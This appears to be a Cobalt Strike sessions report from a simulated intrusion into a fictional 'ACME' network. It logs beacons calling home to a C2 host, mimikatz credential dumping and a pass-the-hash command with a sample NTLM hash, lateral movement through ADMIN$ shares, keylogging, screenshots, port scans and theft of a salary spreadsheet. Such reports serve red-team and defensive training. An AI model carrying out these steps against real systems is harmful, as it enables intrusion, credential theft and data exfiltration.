Sessions Report

Sep 21, 2015

This report documents activity on a session-by-session basis.

Summary

Commands:	44
Indicators:	12
Sessions:	9

BILLING-POWER

User:	SYSTEM *
PID:	3448
Opened:	09/21 21:16

Communication Path

hosts	port	protocol
FILESERVER	445	SMB
CEOSBOX	445	SMB
192.168.1.4	80	HTTP

Activity

date	activity
09/21 21:16	established link to parent beacon: FILESERVER
09/21 21:16	host called home, sent: 12 bytes
09/21 21:16	log keystrokes in 1608 (x86)
09/21 21:16	host called home, sent: 63562 bytes
09/21 21:16	take screenshots in 1608/x86 for next 30 seconds
09/21 21:16	host called home, sent: 162890 bytes
09/21 21:16	received screenshot (125871 bytes)
09/21 21:17	received screenshot (125871 bytes)
09/21 21:17	received screenshot (125871 bytes)
09/21 21:17	received screenshot (125871 bytes)
09/21 21:17	received screenshot (125871 bytes)
09/21 21:17	received screenshot (125871 bytes)

CEOSBOX

User:	SYSTEM *
PID:	2500
Opened:	09/21 21:12

Communication Path

hosts	port	protocol
WS2	445	SMB

hosts	port	protocol
WS2	445	SMB
192.168.1.4	80	HTTP

Activity

date	activity
09/21 21:12	established link to parent beacon: WS2
09/21 21:12	print working directory
09/21 21:12	host called home, sent: 8 bytes
09/21 21:12	list processes
09/21 21:12	host called home, sent: 12 bytes
09/21 21:12	inject windows/beacon_http/reverse_http (192.168.1.4:80) into 2872
09/21 21:12	host called home, sent: 541 bytes
09/21 21:12	Tasked to unlink 10.10.10.190
09/21 21:12	established link to parent beacon: CEOSBOX
09/21 21:13	dump hashes
09/21 21:13	host called home, sent: 63557 bytes
09/21 21:13	received password hashes
09/21 21:13	run mimikatz's sekurlsa::logonpasswords command
09/21 21:13	host called home, sent: 238674 bytes

CEOSBOX

User:	jim.stevens
PID:	2872
Opened:	09/21 21:12

Communication Path

hosts	port	protocol
192.168.1.4	80	HTTP

File Hashes

date	hash	name
09/21 21:14	7c2ddc0317f0266f9d785d2c8905a946	\\FILESERVER\ADMIN$ \4ff65cb.exe

Other Indicators

date	type	target	name
09/21 21:14	service	\\FILESERVER	ef9e184

Activity

date	activity
09/21 21:12	Tasked to link to 'localhost'
09/21 21:12	host called home, sent: 17 bytes
09/21 21:12	established link to child beacon: CEOSBOX
09/21 21:13	import: /root/PowerTools/PowerView/powerview.ps1
09/21 21:13	host called home, sent: 408270 bytes
09/21 21:13	run: Invoke-FindLocalAdminAccess
09/21 21:13	host called home, sent: 47 bytes
09/21 21:14	run windows/beacon_smb/bind_pipe (\\FILESERVER\pipe\status_9813) on FILESERVER via Service Control Manager (\\FILESERVER\ADMIN$\4ff65cb.exe)
09/21 21:14	host called home, sent: 209176 bytes
09/21 21:14	established link to child beacon: FILESERVER
09/21 21:16	host called home, sent: 244 bytes
09/21 21:16	log keystrokes in 2872 (x86)
09/21 21:16	host called home, sent: 334866 bytes
09/21 21:16	take screenshots in 2872/x86 for next 30 seconds
09/21 21:16	host called home, sent: 849938 bytes
09/21 21:16	received screenshot (86612 bytes)
09/21 21:17	received screenshot (86612 bytes)
09/21 21:17	received screenshot (86612 bytes)
09/21 21:17	received screenshot (86612 bytes)
09/21 21:17	received screenshot (86612 bytes)
09/21 21:23	host called home, sent: 100 bytes
09/21 21:23	scan ports 1-1024,5000-6000 on 10.10.10.0-10.10.10.255
09/21 21:23	host called home, sent: 75413 bytes
09/21 21:23	received output from port scanner
09/21 21:23	received output from port scanner
09/21 21:23	received output from port scanner
09/21 21:23	received output from port scanner
09/21 21:23	received output from port scanner
09/21 21:23	received output from port scanner

date	activity
09/21 21:24	received output from port scanner
09/21 21:24	received output from port scanner
09/21 21:24	received output from port scanner
09/21 21:24	received output from port scanner
09/21 21:24	received output from port scanner
09/21 21:25	received output from port scanner
09/21 21:25	received output from port scanner
09/21 21:25	received output from port scanner
09/21 21:25	received output from port scanner
09/21 21:25	received output from port scanner
09/21 21:25	received output from port scanner
09/21 21:25	received output from port scanner

DC

User:	SYSTEM *
PID:	15512
Opened:	09/21 21:16

Communication Path

hosts	port	protocol
FILESERVER	445	SMB
CEOSBOX	445	SMB
192.168.1.4	80	HTTP

Activity

date	activity
09/21 21:16	established link to parent beacon: FILESERVER
09/21 21:16	host called home, sent: 12 bytes
09/21 21:16	log keystrokes in 2604 (x64)
09/21 21:16	host called home, sent: 80458 bytes
09/21 21:16	take screenshots in 2604/x64 for next 30 seconds
09/21 21:16	host called home, sent: 198218 bytes
09/21 21:16	received screenshot (93983 bytes)
09/21 21:16	received screenshot (93983 bytes)
09/21 21:17	received screenshot (93983 bytes)

date	activity
09/21 21:17	received screenshot (93983 bytes)
09/21 21:17	received screenshot (93983 bytes)
09/21 21:17	received screenshot (93983 bytes)

FILESERVER

User:	SYSTEM *
PID:	1028
Opened:	09/21 21:14

Communication Path

hosts	port	protocol
CEOSBOX	445	SMB
192.168.1.4	80	HTTP

File Hashes

date	hash	name
09/21 21:15	3c3c1a350577af46a8765344bdc258ab	\\DC\ADMIN$\a420770.exe
09/21 21:15	f9c2985f4768cd309f7db6fb87457af1	\\MAIL\ADMIN$\559a08b.exe
09/21 21:15	0d30e4eac8999de8381f19a05e75a361	\\JOSHDEV\ADMIN$\5b27e50.exe
09/21 21:15	386c5d98e3f3f863363af8a31a4d6a1c	\\BILLING-POWER\ADMIN$\c4bac30.exe

Other Indicators

date	type	target	name
09/21 21:15	service	\\DC	3880b81
09/21 21:15	service	\\MAIL	9275af4
09/21 21:15	service	\\JOSHDEV	51c8af3
09/21 21:15	service	\\BILLING-POWER	d6e4684

Activity

date	activity
09/21 21:14	established link to parent beacon: CEOSBOX

date	activity
09/21 21:14	host called home, sent: 12 bytes
09/21 21:14	host called home, sent: 19 bytes
09/21 21:14	host called home, sent: 28 bytes
09/21 21:14	host called home, sent: 20 bytes
09/21 21:14	host called home, sent: 25 bytes
09/21 21:14	host called home, sent: 41 bytes
09/21 21:14	download C:\ACME\human resources\salary data.xlsx
09/21 21:14	host called home, sent: 48 bytes
09/21 21:14	started download of C:\ACME\human resources\salary data.xlsx (9174 bytes)
09/21 21:14	download of salary data.xlsx is complete
09/21 21:14	host called home, sent: 25 bytes
09/21 21:14	host called home, sent: 35 bytes
09/21 21:14	download C:\ACME\Resources\background.jpg
09/21 21:14	download C:\ACME\Resources\Thumbs.db
09/21 21:14	host called home, sent: 75 bytes
09/21 21:14	started download of C:\ACME\Resources\background.jpg (32811 bytes)
09/21 21:14	started download of C:\ACME\Resources\Thumbs.db (27136 bytes)
09/21 21:14	download of Thumbs.db is complete
09/21 21:14	download of background.jpg is complete
09/21 21:15	dump hashes
09/21 21:15	host called home, sent: 63557 bytes
09/21 21:15	received password hashes
09/21 21:15	host called home, sent: 12 bytes
09/21 21:15	steal token from PID 1952
09/21 21:15	host called home, sent: 12 bytes
09/21 21:15	run windows/beacon_smb/bind_pipe (\\DC\pipe\status_9813) on DC via Service Control Manager (\\DC\ADMIN$\a420770.exe)
09/21 21:15	run windows/beacon_smb/bind_pipe (\\MAIL\pipe\status_9813) on MAIL via Service Control Manager (\\MAIL\ADMIN$\559a08b.exe)
09/21 21:15	run windows/beacon_smb/bind_pipe (\\JOSHDEV\pipe\status_9813) on JOSHDEV via Service Control Manager (\\JOSHDEV\ADMIN$\5b27e50.exe)
09/21 21:15	run windows/beacon_smb/bind_pipe (\\BILLING-POWER\pipe\status_9813) on BILLING-POWER via Service Control Manager (\\BILLING-POWER\ADMIN$\c4bac30.exe)
09/21 21:15	host called home, sent: 836590 bytes
09/21 21:16	established link to child beacon: DC

date	activity
09/21 21:16	established link to child beacon: MAIL
09/21 21:16	established link to child beacon: JOSHDEV
09/21 21:16	established link to child beacon: BILLING-POWER
09/21 21:16	host called home, sent: 188 bytes
09/21 21:16	log keystrokes in 1952 (x86)
09/21 21:16	host called home, sent: 271258 bytes
09/21 21:16	take screenshots in 1952/x86 for next 30 seconds
09/21 21:16	host called home, sent: 687002 bytes
09/21 21:16	received screenshot (19684 bytes)
09/21 21:17	received screenshot (19647 bytes)
09/21 21:17	received screenshot (19781 bytes)
09/21 21:17	received screenshot (19781 bytes)
09/21 21:17	received screenshot (19528 bytes)
09/21 21:17	received screenshot (19528 bytes)

JOSHDEV

User:	SYSTEM *
PID:	596
Opened:	09/21 21:16

Communication Path

hosts	port	protocol
FILESERVER	445	SMB
CEOSBOX	445	SMB
192.168.1.4	80	HTTP

Activity

date	activity
09/21 21:16	established link to parent beacon: FILESERVER
09/21 21:16	host called home, sent: 12 bytes
09/21 21:16	log keystrokes in 1688 (x86)
09/21 21:16	host called home, sent: 63562 bytes
09/21 21:16	take screenshots in 1688/x86 for next 30 seconds
09/21 21:16	host called home, sent: 162890 bytes
09/21 21:16	received screenshot (93598 bytes)

date	activity
09/21 21:16	received screenshot (93598 bytes)
09/21 21:17	received screenshot (93598 bytes)
09/21 21:17	received screenshot (93598 bytes)
09/21 21:17	received screenshot (101201 bytes)
09/21 21:17	received screenshot (90090 bytes)
09/21 21:17	received keystrokes
09/21 21:17	received keystrokes
09/21 21:17	received keystrokes
09/21 21:17	received keystrokes
09/21 21:18	host called home, sent: 12 bytes
09/21 21:18	scan ports 22 on 192.168.57.0-192.168.57.255
09/21 21:18	host called home, sent: 75325 bytes
09/21 21:18	received output from port scanner
09/21 21:23	host called home, sent: 12 bytes
09/21 21:23	scan ports 22 on 192.168.57.0-192.168.57.255
09/21 21:23	host called home, sent: 75325 bytes
09/21 21:23	received output from port scanner
09/21 21:23	received output from port scanner
09/21 21:23	received output from port scanner

MAIL

User:	SYSTEM *
PID:	776
Opened:	09/21 21:16

Communication Path

hosts	port	protocol
FILESERVER	445	SMB
CEOSBOX	445	SMB
192.168.1.4	80	HTTP

Activity

date	activity
09/21 21:16	established link to parent beacon: FILESERVER

date	activity
09/21 21:16	host called home, sent: 12 bytes

WS2

User:	whatta.hogg
PID:	2604
Opened:	09/21 21:09

Communication Path

hosts	port	protocol
192.168.1.4	80	HTTP

File Hashes

date	hash	name
09/21 21:10	ed0ae756df403b0c73324dafcf64cd73	my.dll

Activity

date	activity
09/21 21:09	sleep for 5s
09/21 21:09	host called home, sent: 16 bytes
09/21 21:09	print working directory
09/21 21:09	host called home, sent: 8 bytes
09/21 21:09	cd ..
09/21 21:09	list files in .
09/21 21:09	host called home, sent: 29 bytes
09/21 21:10	run: dir /S /B | findstr ".doc"
09/21 21:10	host called home, sent: 34 bytes
09/21 21:10	run: net use
09/21 21:10	host called home, sent: 15 bytes
09/21 21:10	run: whoami /groups
09/21 21:10	host called home, sent: 22 bytes
09/21 21:10	spawn windows/beacon_smb/bind_pipe (127.0.0.1:9813) in a high integrity process
09/21 21:10	host called home, sent: 266285 bytes
09/21 21:10	established link to child beacon: WS2

date	activity
09/21 21:12	sleep for 180s
09/21 21:13	host called home, sent: 28 bytes
09/21 21:19	host called home, sent: 24 bytes
09/21 21:25	host called home, sent: 24 bytes

WS2

User:	whatta.hogg *
PID:	2512
Opened:	09/21 21:10

Communication Path

hosts	port	protocol
WS2	445	SMB
192.168.1.4	80	HTTP

Other Indicators

date	type	target	name
09/21 21:11	service	\\CEOSBOX	d7a7404

Activity

date	activity
09/21 21:10	established link to parent beacon: WS2
09/21 21:11	dump hashes
09/21 21:11	run mimikatz's sekurlsa::logonpasswords command
09/21 21:11	host called home, sent: 302231 bytes
09/21 21:11	received password hashes
09/21 21:11	run net view
09/21 21:11	host called home, sent: 74296 bytes
09/21 21:11	received output from net module
09/21 21:11	revert token
09/21 21:11	run mimikatz's sekurlsa::pth /user:Administrator /domain:. /ntlm:4d714387627d0b7b8dfb527d98f96f01 /run:"cmd.exe /c echo a163fceaba6 > \\.\pipe\58d2d5" command
09/21 21:11	run windows/beacon_smb/bind_pipe (\\CEOSBOX\pipe\status_9813) on CEOSBOX via Service Control Manager (PSH)

date	activity
09/21 21:12	host called home, sent: 437605 bytes
09/21 21:12	established link to child beacon: CEOSBOX
09/21 21:12	host called home, sent: 24 bytes